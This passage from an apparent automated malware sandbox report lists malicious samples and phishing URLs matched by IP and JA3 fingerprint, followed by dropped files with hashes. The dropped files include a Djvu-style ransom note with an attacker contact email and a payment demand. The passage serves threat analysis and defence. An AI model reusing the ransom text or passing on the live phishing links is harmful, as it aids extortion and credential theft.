	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, SmokeLoader	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader, Vidar, Xmrig	Browse	79.137.192.18
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	79.137.192.18
	file.exe	Get hash	malicious	Amadey, Djvu, Glupteba, RedLine, SmokeLoader, Xmrig	Browse	79.137.192.18
	file.exe	Get hash	malicious	Djvu, Glupteba, RedLine, SmokeLoader	Browse	79.137.192.18
	httrack_x64-3.49.2.exe	Get hash	malicious	Agent Tesla, AgentTesla, Glupteba, SmokeLoader, Xmrig	Browse	79.137.192.18
	file.exe	Get hash	malicious	Djvu, Glupteba, RedLine, SmokeLoader, Xmrig	Browse	79.137.192.18
	file.exe	Get hash	malicious	Djvu, Glupteba, RedLine, SmokeLoader, Xmrig	Browse	79.137.192.18
	file.exe	Get hash	malicious	Djvu, Glupteba, SmokeLoader	Browse	79.137.192.18
	file.exe	Get hash	malicious	Djvu, Glupteba, RedLine, SmokeLoader, Xmrig	Browse	79.137.192.18
CLOUDFLARENETUS	temp.vbs	Get hash	malicious	Unknown	Browse	104.21.45.138
	http://links.infos.clubmed.com/ctt?m=17415468&r=LTY4NDQwMDAyMjYS1&b=0&j=MjE3MzY0NjQ4MwS2&k=preheader&kx=1&kt=12&kd=http%3A%2F%2Flocksmithwollstonecraft.com.au/%2Fallow%2FaE0vVZVLRvL1sOu%2F%2F%2F%2FY2hyaXN0aW5hLmN1c3NpbWFuaW9AYWdzaGVhbHRoLmNvbQ==	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://41199.login-outlook-qr.live/#2746f62792e6d6572676c6572407a7375697465746563682e636f6d	Get hash	malicious	HTMLPhisher	Browse	172.67.149.222
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	172.67.196.133
	https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1vfwIficIqdwNIehHfvMUwcQxo7Fzg-pQ	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://www.erhealthplans.com/RKduHZzY/d?url=pblfmwjrj3kxjoWIqcHUd0IhrjmdDp9PHmkGgoqwR3GqcWGZHZ#pblfmwjrj3kxjoWIqcHUd0IhrjmdDp9PHmkGgoqwR3GqcWGZHZMAYYY2hyaXN0aWUuYmFlejFAc3NzcHIuY29t	Get hash	malicious	Unknown	Browse	104.18.27.193
	https://iqr.li/m5f	Get hash	malicious	HTMLPhisher	Browse	104.21.4.219
	NeueXBestellungX_DE-WJO-10-13.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	104.21.45.138
	O.C._7700_y_7723.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	sipari#U015f_46224199.pdf.exe	Get hash	malicious	Lokibot	Browse	104.21.8.130
	PO-210.xls	Get hash	malicious	Unknown	Browse	172.67.196.229
	Gsk-Lux.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	PrivateLoader	Browse	104.17.25.14
	4XiBSHVMK9.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader	Browse	172.67.196.133
	https://storage.googleapis.com/bigchangewillhappendinyourlife/in17.html	Get hash	malicious	Unknown	Browse	104.18.27.45
	https://storage.googleapis.com/bigchangewillhappendinyourlife/in17.html	Get hash	malicious	Phisher	Browse	104.18.27.45
	https://asianaviation.us16.list-manage.com/track/click?u=597ed8b7fb8cbaf769d22bb2d&id=e4f960b3b2&e=7d67b2b1ba	Get hash	malicious	Unknown	Browse	104.18.11.207
	http://oopatet.com	Get hash	malicious	Unknown	Browse	104.17.251.168
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse	172.67.139.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://sites.google.com/view/testlabbb/accueil	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	http://oopatet.com/javascript/fingerprint/iife.min.js	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	http://links.infos.clubmed.com/ctt?m=17415468&r=LTY4NDQwMDAyMjYS1&b=0&j=MjE3MzY0NjQ4MwS2&k=preheader&kx=1&kt=12&kd=http%3A%2F%2Flocksmithwollstonecraft.com.au/%2Fallow%2FaE0vVZVLRvL1sOu%2F%2F%2F%2FY2hyaXN0aW5hLmN1c3NpbWFuaW9AYWdzaGVhbHRoLmNvbQ==	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	https://41199.login-outlook-qr.live/#2746f62792e6d6572676c6572407a7375697465746563682e636f6d	Get hash	malicious	HTMLPhisher	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	https://iqr.li/m5f	Get hash	malicious	HTMLPhisher	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	Gsk-Lux.html	Get hash	malicious	HTMLPhisher	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	file.exe	Get hash	malicious	PrivateLoader	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	https://kpai7ycr7jxqkilp.tor2www.com/6bf9	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	file.exe	Get hash	malicious	Amadey, Babadeda, Healer AV Disabler, RedLine, SmokeLoader	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	voicemail.html	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	http://kpai7ycr7jxqkilp.tor2www.com	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	PO22_A4031B-HS2309-[HS4B].vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	https://infobizarticles.com/you-wont-believe-how-much-the-richest-pastors-in-the-world-are-worth/	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	https://winusalerterrore4.z13.web.core.windows.net	Get hash	malicious	TechSupportScam	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	http://ww38.torrentz2.is	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	https://cf83e1357eefb8bdf15428.3x1o.ru/bfb02329319ce29a04a0959ee	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	https://selmaassiste.com/secure/red.php?email=middlebrooks@estrellagaliciausa.com&base_url=*.selmaassiste.com&u=thecontinuedcompetencyinitiative.com/share/point/bWlkZGxlYnJvb2tzQGVzdHJlbGxhZ2FsaWNpYXVzYS5jb20=	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, SmokeLoader	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	https://cf83e1357eefb8bdf15428.3x1o.ru/bfb02329319ce29a04a0959ee	Get hash	malicious	Unknown	Browse	20.190.190.195 40.68.123.157 23.36.118.84
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, SmokeLoader	Browse	20.190.190.195 40.68.123.157 23.36.118.84
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	PrivateLoader	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	voicemail.html	Get hash	malicious	Unknown	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	Print_data_20231012_678486_994044.js	Get hash	malicious	Unknown	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	Print_data_20231012_678486_994044.js	Get hash	malicious	Unknown	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, SmokeLoader	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	wgdE3POxOg.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	W7z1Z5tra2.exe	Get hash	malicious	RedLine, WSHRAT	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	ioMJg2xHZQ.exe	Get hash	malicious	Babuk, Djvu, RedLine, SmokeLoader	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	Inquiry[2023.10.11_08-07].vbs	Get hash	malicious	IcedID	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	DOCUMENT[2023.10.11_08-07]_2.vbs	Get hash	malicious	IcedID	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	Document[2023.10.11_08-07]_1.vbs	Get hash	malicious	IcedID	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	information[2023.10.11_08-07]_2.vbs	Get hash	malicious	IcedID	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	Document[2023.10.11_08-07].vbs	Get hash	malicious	IcedID	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	INFORMATION[2023.10.11_08-07]_1.vbs	Get hash	malicious	IcedID	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	information[2023.10.11_08-07].vbs	Get hash	malicious	IcedID	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	document[2023.10.11_08-07]_6.vbs	Get hash	malicious	IcedID	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
	Document[2023.10.11_08-07]_5.vbs	Get hash	malicious	IcedID	Browse	104.21.21.57 104.21.86.8 91.215.85.209 213.6.54.58 20.189.173.21
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	PrivateLoader	Browse	104.21.65.24 149.154.167.99
	magic.js	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	magic.js	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	PO22_A4031B-HS2309-[HS4B].vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.65.24 149.154.167.99
	QKWNuQXWLD.exe	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	QKWNuQXWLD.exe	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, SmokeLoader	Browse	104.21.65.24 149.154.167.99
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader	Browse	104.21.65.24 149.154.167.99
	wgdE3POxOg.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	104.21.65.24 149.154.167.99
	3Xie77C42Q.exe	Get hash	malicious	Upatre	Browse	104.21.65.24 149.154.167.99
	Certificado FNMT.exe	Get hash	malicious	GuLoader	Browse	104.21.65.24 149.154.167.99
	bPYR660y5o.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.65.24 149.154.167.99
	ioMJg2xHZQ.exe	Get hash	malicious	Babuk, Djvu, RedLine, SmokeLoader	Browse	104.21.65.24 149.154.167.99
	SEM_Gumpertz202201210-347.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.65.24 149.154.167.99
	Notificaci#U00f3n-AEAT.exe	Get hash	malicious	GuLoader	Browse	104.21.65.24 149.154.167.99
	Update.js	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	kDTGTVIHAr.exe	Get hash	malicious	Unknown	Browse	104.21.65.24 149.154.167.99
	EXTRATO_COMBINADO.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.65.24 149.154.167.99
	Payment_Copy.pdf.js	Get hash	malicious	WSHRAT	Browse	104.21.65.24 149.154.167.99
	Justificante_de_pago.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.65.24 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse
	E89IeuS2H1.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse
	wgdE3POxOg.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, RedLine, SmokeLoader, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Djvu, RedLine, SmokeLoader, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse
	1d591987233fea8f0cf1046ad2052645201a8ebbd788b3db04960e75.exe	Get hash	malicious	Vidar	Browse
	336ecdd5f5c040f5d3fa238ae4b4813ebc48401500d2dfad0604fa9f.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Stealc, Vidar	Browse

Created / dropped Files

(copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848877365798849
Encrypted:	false
SSDEEP:	24:5kuJmkHO8UgPhfmRDlnkjQuiJOr1RMPvj2X3kjBCFeKbolmLkPnCNMMEobD:G/kQgPYll2QQEXCXUjBjgqnCNMoD
MD5:	CC6C782D0F694FE6D8C3CB834F0871CD
SHA1:	681790EA1F5EF2E147A41ED2E58B41FFFF21F839
SHA-256:	B67FD2E21CB8C25560F0F5D5C2BF8E4E5E0960B78E759BAF4F933B147BFA807C
SHA-512:	78AE6A064FAA51942A8CCCE0E3E152C10E8CB756092F69653E74C6266D2569331489EBFE56089C3047209072B753E75211BA4A95E7F0468B59D5C79BE5B0AE40
Malicious:	false
Preview:	DTBZG..}l3.1.vSi..+<j>.o..c..o,...F...{'".#....".Uf..Y@.z.'tb......D'..,.k.g.,y...x...9rK...w.G.~...`xv.$Ql...=o..J.D.26$7..H!.v.L..SJF .Q.-8+.38.G...3...a..vid... ..C..1.`ub?....!...eR7.....L.N.K.i.c..!.....U......Az.=.QZr...N.+.0.Q...(,.I..z..'.F...QZ...z.\|-.........l1..>&.m..*{EL...~5}.n.GV)y......@.N..+g..qu...b..=..:.sM.Y9.......ndw_....}R...T...k.).....r..W..........8.rvg.O.'..G.d.c.N...x.....Q[R\|u<....(?..8E.q1T.)..hNF.g.?..F_...D...t."72{$......?.o..Jq...G.Vo.\[....0...t.C.6..5.9.u,.j...5.....ZIQ._.?\|...>R.r.K...r.....a..._.D.S/......B..~\..5.....A.......2.....2;...M.7.5...!..a.....@.......B....7.P...'8`...[j.u.vr..hUNgf....1...V.,d.B..]O..$.M.....n%.aV_F..4.CDv..-A.<obxz.$...q...B..#5..<...X....Q.w..R>&......5...M...j.SJ..^.....YZy....9...^.....(..o......i.4..?..<f...n.0._.....0....%..tE...s.Y^g.'}...-.y^...7...K...H....G.1....eF\.q..r..c.\.x..[D..."...8..G....TNt0.#...#.y........Sf...&..[.s...2G.T5{.....#..l...Y4.);M..I..

C:\$WinREAgent\Scratch\_readme.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.870051960094775
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWyrmFRqrl3W4kA+GT/kF5M2/kLw3KTJRI6:WZHfv0p6WyrPFWrDGT0f/krbI6
MD5:	C177C3060F528DBE3ADA165FB76D432C
SHA1:	4FD495E9F573E0C392EC18A5B94D85D105E32C00
SHA-256:	0549A937A10FCF616CDDDFC2A044E8701A6ED5CC69D492A77ACC047914A3E0BF
SHA-512:	207E965F3D5B83C2C362E67F1272D63F6CF2DC125990C81C5157488B7E4C3874E2272B184C43B61039D51946B864AE43B5CBA513E1A87E495889ADB1CCC489C8
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-xN3VuzQl0a..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@freshmail.top....Reserve e-mail address

C:\$WinREAgent\_readme.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.870051960094775
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWyrmFRqrl3W4kA+GT/kF5M2/kLw3KTJRI6:WZHfv0p6WyrPFWrDGT0f/krbI6
MD5:	C177C3060F528DBE3ADA165FB76D432C
SHA1:	4FD495E9F573E0C392EC18A5B94D85D105E32C00
SHA-256:	0549A937A10FCF616CDDDFC2A044E8701A6ED5CC69D492A77ACC047914A3E0BF
SHA-512:	207E965F3D5B83C2C362E67F1272D63F6CF2DC125990C81C5157488B7E4C3874E2272B184C43B61039D51946B864AE43B5CBA513E1A87E495889ADB1CCC489C8
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-xN3VuzQl0a..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@freshmail.top....Reserve e-mail address

C:\ProgramData\02404909088376078259982132

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\13984440799797064699005282

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\26920159817927441066134107

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\27161175204923635753617454

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\27161175204923635753617454-shm

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\40217806229063012020736478

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\60919798003361496255583401

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\61854198125783256548051753

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
